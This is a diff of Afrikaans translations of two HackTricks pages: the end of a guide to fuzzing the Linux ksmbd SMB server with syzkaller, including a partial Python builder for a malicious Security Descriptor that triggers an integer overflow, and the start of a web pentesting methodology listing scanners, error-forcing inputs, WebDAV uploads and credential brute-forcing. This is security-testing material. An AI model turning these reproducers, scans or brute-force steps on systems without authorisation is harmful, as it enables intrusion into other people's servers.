 - oplock.c (oplock request/break)
@@ -28,28 +28,28 @@ Die aktivering van hierdie elemente verhoog die uitvoering in modules soos:
 - vfs.c (VFS ops)
 - vfs_cache.c (lookup cache)
 
-Notas
+Aantekeninge
 - Presiese opsies hang af van jou distro se ksmbd userspace (ksmbd-tools). Hersien /etc/ksmbd/ksmbd.conf en per-share-afdelings om durable handles, leases, oplocks en VFS objects te aktiveer.
-- Multi-channel en durable handles verander state machines en lewensduur, en laat dikwels UAF/refcount/OOB-bugs onder gelyktydigheid blyk.
+- Multi-channel en durable handles verander state machines en lewensduurtens, wat gereeld UAF/refcount/OOB-bugs onder concurrency na vore bring.
 
 ---
 
-## Authentication en koersbeperkings-aanpassings vir Fuzzing
-SMB3 benodig ’n geldige sessie. Implementering van Kerberos in harnesses verhoog kompleksiteit, dus beveel ons NTLM/guest vir fuzzing aan:
+## Verifikasie en Rate-Limiting-aanpassings vir Fuzzing
+SMB3 benodig 'n geldige sessie. Die implementering van Kerberos in harnesses voeg kompleksiteit by, daarom is NTLM/guest vir fuzzing te verkies:
 
-- Laat guest-toegang toe en stel map to guest = bad user sodat onbekende gebruikers op GUEST terugval.
-- Aanvaar NTLMv2 (patch die beleid as dit gedeaktiveer is). Dit hou die handshake eenvoudig terwyl SMB3-kodepaaie geaktiveer word.
-- Verwyder streng credit checks tydens eksperimente (post-hardening vir CVE-2024-50285 het simultaneous-op crediting strenger gemaak). Andersins kan koersbeperkings gefuzzte sekwense te vroeg verwerp.
-- Verhoog max connections (bv. na 65536) om vroeë verwerping tydens hoë-deurset fuzzing te vermy.
+- Laat guest toegang toe en stel map to guest = bad user sodat onbekende gebruikers na GUEST terugval.
+- Aanvaar NTLMv2 (patch policy as dit gedeaktiveer is). Dit hou die handshake eenvoudig terwyl dit SMB3-kodepaaie oefen.
+- Verwyder streng credit checks tydens eksperimente (post-hardening vir CVE-2024-50285 het simultaneous-op crediting verskerp). Andersins kan rate-limits gefuzzte reekse te vroeg verwerp.
+- Verhoog max connections (bv. na 65536) om vroeë verwerping tydens hoë-deursit-fuzzing te voorkom.
 
-Waarskuwing: Hierdie verslappinge is slegs bedoel om fuzzing te vergemaklik. Moet dit nie in produksie gebruik nie.
+Waarskuwing: Hierdie verslappinge is slegs om fuzzing te vergemaklik. Moenie hierdie instellings in produksie gebruik nie.
 
 ---
 
-## Staatvolle Harness: Onttrek Hulpbronne en Skakel Versoeke
-SMB is staatvol: baie versoeke hang af van identifiseerders wat deur vorige antwoorde teruggegee word (SessionId, TreeID, FileID-paartjies). Jou harness moet antwoorde parse en ID's hergebruik binne dieselfde program om by dieper handlers uit te kom (bv. smb2_create → smb2_ioctl → smb2_close).
+## Stateful Harness: Extract Resources and Chain Requests
+SMB is stateful: baie versoeke hang af van identifiseerders wat deur vorige antwoorde teruggegee word (SessionId, TreeID, FileID pairs). Jou harness moet antwoorde parse en IDs binne dieselfde program hergebruik om by dieper handlers uit te kom (bv. smb2_create → smb2_ioctl → smb2_close).
 
-Voorbeeld-snipper om ’n response buffer te verwerk (skipping the +4B NetBIOS PDU length) en ID's te kash:
+Example snippet to process a response buffer (skipping the +4B NetBIOS PDU length) and cache IDs:
 ```c
 // process response. does not contain +4B PDU length
 void process_buffer(int msg_no, const char *buffer, size_t received) {
@@ -76,15 +76,15 @@ break;
 }
 ```
 Wenke
-- Hou een fuzzer-proses wat authentication/state deel: beter stabiliteit en dekking met ksmbd’s global/session tables. syzkaller injecteer steeds concurrency deur ops as async te merk, en intern te herhaal.
-- Syzkaller’s experimental reset_acc_state kan globale staat terugstel, maar kan 'n groot vertraging veroorsaak. Gee voorkeur aan stabiliteit en fokus eerder op fuzzing.
+- Hou een fuzzer-proses wat authentikasie/staat deel: beter stabiliteit en dekking met ksmbd’s globale/sessie-tabelle. syzkaller injekteer steeds concurrency deur ops as async te merk, intern weer uit te voer.
+- Syzkaller’s eksperimentele reset_acc_state kan globale staat terugstel maar kan 'n groot vertraging veroorsaak. Gee voorkeur aan stabiliteit en fokus eerder op fuzzing.
 
 ---
 
 ## Grammatika-gedrewe SMB2-generering (Geldige PDUs)
-Vertaal die Microsoft Open Specifications SMB2-strukture in 'n fuzzer-grammatika sodat jou generator struktureel geldige PDUs produseer, wat sistematies dispatchers en IOCTL handlers bereik.
+Vertaal die Microsoft Open Specifications SMB2-strukture na 'n fuzzer-grammatika sodat jou generator struktureel geldige PDUs produseer, wat sistematies dispatchers en IOCTL handlers bereik.
 
-Voorbeeld (SMB2 IOCTL request):
+Voorbeeld (SMB2 IOCTL-versoek):
 ```
 smb2_ioctl_req {
 Header_Prefix           SMB2Header_Prefix
@@ -107,12 +107,12 @@ Input                   array[int8]
 Output                  array[int8]
 } [packed]
 ```
-Hierdie styl dwing korrekte struktuurgroottes/-offsets af en verbeter dramaties die dekking in vergelyking met blind mutation.
+Hierdie styl dwing korrekte struktuurgroottes/-verskuiwings af en verbeter beduidend die dekking teenoor blinde mutasie.
 
 ---
 
-## Directed Fuzzing With focus_areas
-Gebruik syzkaller’s eksperimentele focus_areas om spesifieke funksies/lêers wat tans swak dekking het, meer gewig te gee. Voorbeeld JSON:
+## Gerigte Fuzzing Met focus_areas
+Gebruik syzkaller’s eksperimentele focus_areas om spesifieke funksies/lêers hoër gewig te gee wat tans swak dekking het. Voorbeeld JSON:
 ```json
 {
 "focus_areas": [
@@ -122,9 +122,9 @@ Gebruik syzkaller’s eksperimentele focus_areas om spesifieke funksies/lêers w
 ]
 }
 ```
-Dit help om geldige ACLs te konstrueer wat aritmetiese/overflow-paaie in smbacl.c tref. Byvoorbeeld, 'n kwaadwillige Security Descriptor met 'n oorgrootte dacloffset reproduseer 'n integer-overflow.
+Dit help om geldige ACLs te konstrueer wat arithmetic/overflow paths in smbacl.c tref. Byvoorbeeld, 'n kwaadwillige Security Descriptor met 'n te groot dacloffset reproduseer 'n integer-overflow.
 
-Reproducer builder (minimal Python):
+Reproducer-bouer (minimale Python):
 ```python
 def build_sd():
 import struct
@@ -143,8 +143,8 @@ return bytes(sd)
 ```
 ---
 
-## Deurbreek dekkingplateauë met ANYBLOB
-syzkaller se anyTypes (ANYBLOB/ANYRES) laat toe om komplekse strukture in blobs in te klap wat op 'n generiese wyse muteer. Skep 'n nuwe korpus uit openbare SMB pcaps en omskep payloads in syzkaller-programme wat jou pseudo-syscall aanroep (bv. syz_ksmbd_send_req):
+## Deurbreek dekkingsplateaus met ANYBLOB
+syzkaller’s anyTypes (ANYBLOB/ANYRES) laat komplekse strukture inklap tot blobs wat generies muteer. Skep 'n nuwe korpus uit openbare SMB pcaps en omskep payloads in syzkaller-programme wat jou pseudo-syscall aanroep (bv., syz_ksmbd_send_req):
 ```bash
 # Extract SMB payloads to JSON
 # tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@@ -167,14 +167,14 @@ f.write(
 f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
 )
 ```
-Dit gee 'n vlieënde begin aan verkenning en kan onmiddellik UAFs aktiveer (bv. in ksmbd_sessions_deregister), terwyl dit die dekking met 'n paar persent verhoog.
+Dit spring die verkenning aan en kan onmiddellik UAFs (bv. in ksmbd_sessions_deregister) veroorsaak, terwyl dit die dekking met 'n paar persent verhoog.
 
 ---
 
 ## Sanitizers: Verder as KASAN
-- KASAN bly die primêre detektor vir heap-bugs (UAF/OOB).
-- KCSAN lewer dikwels vals positiewe of data races met lae erns in hierdie teiken.
-- UBSAN/KUBSAN kan foute in verklaarde grense opspoor wat KASAN mis as gevolg van array-indeks-semantiek. Voorbeeld:
+- KASAN bly die primêre opsporer vir heap bugs (UAF/OOB).
+- KCSAN lewer dikwels false positives of low-severity data races in hierdie teiken.
+- UBSAN/KUBSAN kan declared-bounds mistakes vang wat KASAN mis weens array-index semantics. Voorbeeld:
 ```c
 id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
 struct smb_sid {
@@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
 __le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
 } __attribute__((packed));
 ```
-Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught by UBSAN’s declared-bounds checks.
+Die instel van num_subauth = 0 veroorsaak 'n in-struct OOB-lees van sub_auth[-1], wat deur UBSAN se declared-bounds-kontroles gevang word.
 
 ---
 
-## Deurset en Parallelisme Aantekeninge
-- Een enkele fuzzer-proses (shared auth/state) is geneig om aansienlik meer stabiel te wees vir ksmbd en toon steeds races/UAFs weens syzkaller’s interne async executor.
-- Met meerdere VMs kan jy steeds honderde SMB-opdragte per sekonde bereik. Funksievlak-dekking van ongeveer ~60% van fs/smb/server en ~70% van smb2pdu.c is haalbaar, alhoewel staatsoorgang-dekking deur sulke metrieke onderverteenwoordig word.
+## Deurset en parallelisme aantekeninge
+- 'n Enkele fuzzer-proses (gedeelde auth/state) neig om aansienlik meer stabiel te wees vir ksmbd en ontbloot steeds races/UAFs danksy syzkaller se interne async executor.
+- Met meerdere VMs kan jy steeds honderde SMB-opdragte per sekonde bereik. Funksievlakdekking van ~60% van fs/smb/server en ~70% van smb2pdu.c is haalbaar, alhoewel staat-oorgang-dekking deur sulke metrieke onderverteenwoordig word.
 
 ---
 
-## Praktiese Kontroleslys
+## Praktiese kontrolelys
 - Skakel durable handles, leases, multi-channel, oplocks en VFS objects in ksmbd aan.
-- Laat guest en map-to-guest toe; aanvaar NTLMv2. Patch uit credit limits en verhoog max connections vir fuzzer stabiliteit.
-- Bou 'n stateful harness wat SessionId/TreeID/FileIDs cache en create → ioctl → close keten.
-- Gebruik 'n grammar vir SMB2 PDUs om strukturele geldigheid te behou.
-- Gebruik focus_areas om swak-gedekte funksies meer gewig te gee (bv. smbacl.c-paaie soos smb_check_perm_dacl).
-- Seed met ANYBLOB uit werklike pcaps om plateaus te breek; pak seeds met syz-db vir hergebruik.
-- Draai met KASAN + UBSAN; triage UBSAN declared-bounds verslae versigtig.
+- Laat guest en map-to-guest toe; aanvaar NTLMv2. Verwyder kredietlimiete en verhoog die maksimum verbindings vir fuzzer-stabiliteit.
+- Bou 'n stateful harness wat SessionId/TreeID/FileIDs kas en create → ioctl → close ketting.
+- Gebruik 'n grammatika vir SMB2 PDUs om strukturele geldigheid te behou.
+- Gebruik focus_areas om swak-gedekte funksies groter gewig te gee (bv. smbacl.c-paadjies soos smb_check_perm_dacl).
+- Gebruik ANYBLOB van werklike pcaps as saailinge om plateau's te breek; pak saailinge met syz-db vir hergebruik.
+- Hardloop met KASAN + UBSAN; triage UBSAN declared-bounds-verslae sorgvuldig.
 
 ---
 
@@ -214,6 +214,6 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
 - KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
 - Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
 - Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
-- Agtergrondlees: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
+- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index a8df1aa44..1a3488d06 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -1,10 +1,10 @@
-# 80,443 - Pentesting Web Metodologie
+# 80,443 - Pentesting Web Methodology
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Basiese Inligting
 
-Die webdiens is die mees **algemene en omvattende diens** en daar bestaan baie **verskillende tipes kwesbaarhede**.
+Die webdiens is die mees **algemene en omvangryke diens**, en daar bestaan baie **verskillende soorte kwesbaarhede**.
 
 **Standaardpoort:** 80 (HTTP), 443(HTTPS)
 ```bash
@@ -17,7 +17,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Web API Guidance
+### Web API Riglyne
 
 
 {{#ref}}
@@ -26,46 +26,46 @@ web-api-pentesting.md
 
 ## Metodologie opsomming
 
-> In hierdie metodologie gaan ons aanvaar dat jy 'n aanval op 'n domain (of subdomain) en net daardie een gaan uitvoer. Dus, jy moet hierdie metodologie toepas op elke ontdekte domain, subdomain of IP met onbepaalde web server binne die scope.
+> In hierdie metodologie gaan ons aanvaar dat jy 'n domein (of subdomein) en slegs daardie wil aanval. Dus moet jy hierdie metodologie toepas op elke ontdekte domein, subdomein of IP met 'n ongedetermineerde web server binne die scope.
 
-- [ ] Begin deur die **identifiseer** die **tegnologieë** wat deur die web server gebruik word. Kyk vir **tricks** om gedurende die res van die toets in gedagte te hou as jy die tech suksesvol kan identifiseer.
+- [ ] Begin deur die **identifying** van die **technologies** wat deur die web server gebruik word. Soek na **tricks** om in gedagte te hou tydens die res van die toets as jy die tegnologie suksesvol kan identifiseer.
 - [ ] Enige **known vulnerability** van die weergawe van die tegnologie?
-- [ ] Gebruik enige **well known tech**? Enige **useful trick** om meer inligting te onttrek?
-- [ ] Enige **specialised scanner** om te loods (soos wpscan)?
-- [ ] Begin met **general purposes scanners**. Jy weet nooit of hulle iets gaan vind of interessante inligting gaan ontsluit nie.
+- [ ] Gebruik dit enige **well known tech**? Enige **useful trick** om meer inligting te onttrek?
+- [ ] Enige **specialised scanner** om te hardloop (soos wpscan)?
+- [ ] Begin **general purposes scanners**. Jy weet nooit of hulle iets gaan vind of of hulle interessante inligting gaan oplewer nie.
 - [ ] Begin met die **initial checks**: **robots**, **sitemap**, **404** error en **SSL/TLS scan** (if HTTPS).
-- [ ] Begin **spidering** die web page: Dit is tyd om alle moontlike **files, folders** en **parameters being used** te **vind.** Kyk ook vir **special findings**.
-- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
-- [ ] **Directory Brute-Forcing**: Probeer om alle ontdekte folders te Brute-Force en soek na nuwe **files** en **directories**.
-- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
-- [ ] **Backups checking**: Toets of jy **backups** van **ontdekte files** kan vind deur algemene backup extensies by te voeg.
+- [ ] Begin **spidering** die webblad: Dit is tyd om alle moontlike **files, folders** en **parameters being used** te **vind**. Kontroleer ook vir **special findings**.
+- [ ] _Let daarop dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit gespider moet word._
+- [ ] **Directory Brute-Forcing**: Probeer om al die ontdekte vouers te brute force om nuwe **files** en **directories** te soek.
+- [ ] _Let daarop dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit Brute-Forced moet word._
+- [ ] **Backups checking**: Toets of jy **backups** van **ontdekte files** kan vind deur algemene backup-extensies by te voeg.
 - [ ] **Brute-Force parameters**: Probeer om **hidden parameters** te **vind**.
-- [ ] Sodra jy alle moontlike **endpoints** wat **user input** aanvaar geïdentifiseer het, kyk na alle soorte **vulnerabilities** wat daarmee verband hou.
+- [ ] Sodra jy al die moontlike **endpoints** wat **user input** aanvaar geïdentifiseer het, gaan na en toets vir alle soorte **vulnerabilities** wat daarmee verband hou.
 - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Server-weergawe (Kwetsbaar?)
+## Server Version (Vulnerable?)
 
 ### Identifiseer
 
-Kyk of daar **known vulnerabilities** is vir die server **version** wat loop.\
-Die **HTTP headers and cookies of the response** kan baie nuttig wees om die **technologies** en/of **version** wat gebruik word te **identifiseer**. **Nmap scan** kan die server version identifiseer, maar dit kan ook nuttig wees om die tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) of [**https://builtwith.com/**](https://builtwith.com)**:**
+Kontroleer of daar **known vulnerabilities** is vir die server **version** wat loop.\
+Die **HTTP headers and cookies of the response** kan baie nuttig wees om die **technologies** en/of **version** te **identify** wat gebruik word. **Nmap scan** kan die serverweergawe identifiseer, maar dit kan ook nuttig wees om die tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) of [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Soek **na** [**vulnerabilities of the web application version**](../../generic-hacking/search-exploits.md)
+Soek **na** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
-### **Kyk of daar enige WAF**
+### **Kyk of daar 'n WAF is**
 
 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
 
-### Web tegniese truuks
+### Web tegnologie truuks
 
-Sommige **tricks** for **finding vulnerabilities** in verskillende bekende **technologies** wat gebruik word:
+Sommige **tricks** vir **finding vulnerabilities** in verskeie bekende **technologies** wat gebruik word:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -102,28 +102,27 @@ Sommige **tricks** for **finding vulnerabilities** in verskillende bekende **tec
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
 - [**Sitecore**](sitecore/index.html)
 
-_Neem in ag dat die **same domain** verskillende **technologies** in verskillende **ports**, **folders** en **subdomains** kan gebruik._\
-As die web application enige bekende **tech/platform listed before** of **any other** gebruik, moenie vergeet om op die Internet te **search on the Internet** na nuwe tricks (en laat weet my!).
+_Ten einde in gedagte te hou dat dieselfde **domein** verskillende **technologies** op verskillende **poorte**, **gidse** en **subdomeine** kan gebruik._\
+As die webtoepassing enige bekende **tech/platform listed before** of **enigiets anders** gebruik, moenie vergeet om op die Internet na nuwe truuks te **search** (en laat my weet nie!).
 
-### Source Code Review
+### Bronkode hersiening
 
-As die **source code** van die toepassing op **github** beskikbaar is, benewens om deur **your own a White box test** van die toepassing te gaan, is daar **some information** wat nuttig kan wees vir die huidige **Black-Box testing**:
-
-- Is daar 'n **Change-log or Readme or Version** file of enigiets met **version info accessible** via web?
-- Hoe en waar word die **credentials** gestoor? Is daar enige (accessible?) **file** met credentials (usernames or passwords)?
-- Is dit **passwords** in **plain text**, **encrypted** of watter **hashing algorithm** word gebruik?
-- Gebruik dit enige **master key** vir die enkripsie van iets? Watter **algorithm** word gebruik?
-- Kan jy **access any of these files** deur 'n vulnerability uit te buit?
-- Is daar enige **interesting information in the github** (solved and not solved) **issues**? Of in die **commit history** (miskien is daar 'n **password introduced inside an old commit**)?
+As die **source code** van die toepassing op **github** beskikbaar is, behalwe om self 'n **White box test** van die toepassing uit te voer, is daar **inligting** wat nuttig kan wees vir die huidige **Black-Box testing**:
 
+- Is daar 'n **Change-log or Readme or Version** lêer of enigiets met **version info accessible** via die web?
+- Hoe en waar word die **credentials** gestoor? Is daar enige (toeganklike?) **file** met credentials (gebruikersname of wagwoorde)?
+- Is wagwoorde in **plain text**, **encrypted** of watter **hashing algorithm** word gebruik?
+- Gebruik dit enige **master key** om iets te enkripteer? Watter **algorithm** word gebruik?
+- Kan jy enige van hierdie **files** toegang kry deur 'n kwetsbaarheid uit te buit?
+- Is daar enige interessante inligting in die github (opgelos en nie-opgelos) **issues**? Of in die **commit history** (miskien is daar 'n **password** wat in 'n ou commit ingestel is)?
 
 {{#ref}}
 code-review-tools.md
 {{#endref}}
 
-### Outomatiese skanners
+### Automatic scanners
 
-#### Algemene doel outomatiese skanners
+#### Algemene doeleindes outomatiese skandeerders
 ```bash
 nikto -h <URL>
 whatweb -a 4 <URL>
@@ -137,12 +136,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### CMS-skandeerders
 
-As 'n CMS gebruik word, moenie vergeet om 'n **skandeerder te laat loop** nie — miskien word iets interessant gevind:
+As 'n CMS gebruik word, moenie vergeet om **'n skandeerder uit te voer** nie — dalk word iets sappigs gevind:
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir Security issues. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** webwerwe vir Security kwessies. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **of** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 ```bash
 cmsmap [-f W] -F -d <URL>
@@ -150,13 +149,13 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> Op hierdie stadium behoort jy reeds sekere inligting oor die webbediener te hê wat deur die kliënt gebruik word (indien enige data verskaf is) en 'n paar truuks om tydens die toets in gedagte te hou. As jy gelukkig is, het jy selfs 'n CMS gevind en 'n scanner laat loop.
+> Op hierdie punt behoort jy reeds sekere inligting oor die webserver wat deur die kliënt gebruik word te hê (indien enige data gegee is) en 'n paar wenke om in gedagte te hou tydens die toets. As jy gelukkig is het jy selfs 'n CMS gevind en 'n scanner uitgevoer.
 
 ## Stap-vir-stap Webtoepassing-ontdekking
 
-> Vanaf hierdie punt gaan ons begin om met die webtoepassing te kommunikeer.
+> Vanaf hierdie punt gaan ons begin interakteer met die webtoepassing.
 
-### Aanvangskontroles
+### Aanvanklike kontroles
 
 **Standaard bladsye met interessante inligting:**
 
@@ -165,30 +164,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Kontroleer ook kommentaar in die hoof- en sekondêre bladsye.
+- Kontroleer ook kommentare op die hoof- en sekondêre bladsye.
 
 **Foute afdwing**
 
-Webbedieners kan **onverwagse gedrag** vertoon wanneer vreemde data aan hulle gestuur word. Dit kan **kwesbaarhede** oopmaak of **sensitiewe inligting openbaar**.
+Webservers kan **onverwag optree** wanneer vreemde data na hulle gestuur word. Dit kan **vulnerabilities** of die openbaarmaking van sensitiewe inligting oopmaak.
 
-- Gaan na **vals bladsye** soos /whatever_fake.php (.aspx,.html,.etc)
-- **Voeg "\[]", "]]", en "\[["** in **cookie values** en **parameter values** in om foute te veroorsaak
-- Genereer 'n fout deur invoer te gee as **`/~randomthing/%s`** aan die **einde** van die **URL**
-- Probeer **verskillende HTTP Verbs** soos PATCH, DEBUG of verkeerde soos FAKE
+- Toegang tot **fake pages** soos /whatever_fake.php (.aspx,.html,.etc)
+- **Add "\[]", "]]", and "\[["** in **cookie values** en **parameter** values om foute te skep
+- Genereer 'n fout deur inset as **`/~randomthing/%s`** aan die **end** van die **URL** te gee
+- Probeer verskillende **HTTP Verbs** soos PATCH, DEBUG of verkeerde soos FAKE
 
-#### **Kontroleer of jy kan lêers oplaai (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
+#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-As jy vind dat **WebDav** geaktiveer is maar jy het nie genoeg toestemmings om **lêers in die root-gids** op te laai nie, probeer om:
+As jy vind dat **WebDav** **enabled** is maar jy het nie genoeg **permissions** vir **uploading files** in die root folder nie, probeer om:
 
 - **Brute Force** credentials
-- **Upload files** via WebDav na die **oorblywende** van die **gevonde gidse** binne die webblad. Jy mag toestemmings hê om lêers in ander gidse op te laai.
+- **Upload files** via WebDav na die res van die gevonde vouers binne die webblad. Jy mag **permissions** hê om lêers in ander vouers op te laai.
 
-### **SSL/TLS kwesbaarhede**
+### **SSL/TLS vulnerabilites**
 
-- As die toepassing **nie die gebruiker in enige deel dwing om HTTPS te gebruik** nie, is dit **kwesbaar vir MitM**
-- As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**, is dit 'n hoë kwesbaarheid.
+- As die toepassing **isn't forcing the user of HTTPS** in enige deel, dan is dit **vulnerable to MitM**
+- As die toepassing **is sending sensitive data (passwords) using HTTP**. Dan is dit 'n hoë vulnerability.
 
-Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om na **kwesbaarhede** te kyk (in Bug Bounty-programme sal hierdie soort kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv)om die kwesbaarhede te herkontroleer:
+Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om vir **vulnerabilities** te kontroleer (in Bug Bounty-programme sal hierdie tipe vulnerabilities waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die vulnerabilities weer te kontroleer:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -197,60 +196,60 @@ Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om na **kwesbaa
 sslscan <host:port>
 sslyze --regular <ip:port>
 ```
-Inligting oor SSL/TLS-kwesbaarhede:
+Information about SSL/TLS vulnerabilities:
 
 - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
 - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
 
 ### Spidering
 
-Begin 'n soort **spider** op die web. Die doel van die **spider** is om **soveel paadjies as moontlik te vind** vanaf die getoetste toepassing. Daarom moet web crawling en eksterne bronne gebruik word om soveel geldige paadjies as moontlik te ontdek.
+Start 'n soort **spider** binne die webtoepassing. Die doel van die spider is om **soveel paaie as moontlik te vind** van die getoetste toepassing. Daarom moet web crawling en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
 
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS-lêers en Archive.org as eksterne bron.
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com).
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS files en Archive.org as eksterne bron.
 - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan.
-- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Soek ook in Archive.org.
-- [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar kan nuttig wees. Jy kan net 'n lêer met hosts en 'n lêer met paths aandui en meg sal elke path op elke host ophaal en die response stoor.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit ononderhou is; die vooraf-gekompileerde weergawe is oud en die huidige kode kompileer nie.
-- [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne verskaffers gebruik (wayback, otx, commoncrawl).
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URLs met parameters vind en dit lys.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider met JS-rendering vermoëns.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat nuwe paadjies in JS-lêers kan soek. Dit is ook die moeite werd om [JSScanner](https://github.com/dark-warlord14/JSScanner), wat 'n wrapper van LinkFinder is, te bekyk.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om endpoints te onttrek in beide HTML-bron en ingesluit javascript-lêers. Nuttig vir bug hunters, red teamers, infosec ninjas.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URLs uit JavaScript-lêers te parse. Nuttig om AJAX-aanvraag maklik te ontdek. Lyk ononderhou.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n lêer (HTML) sal dit URLs onttrek met 'n netjiese regular expression om relatiewe URLs uit verrommelde (minified) lêers te kry.
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie tools): Versamel interessante inligting uit JS-lêers deur verskeie tools te gebruik.
-- [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
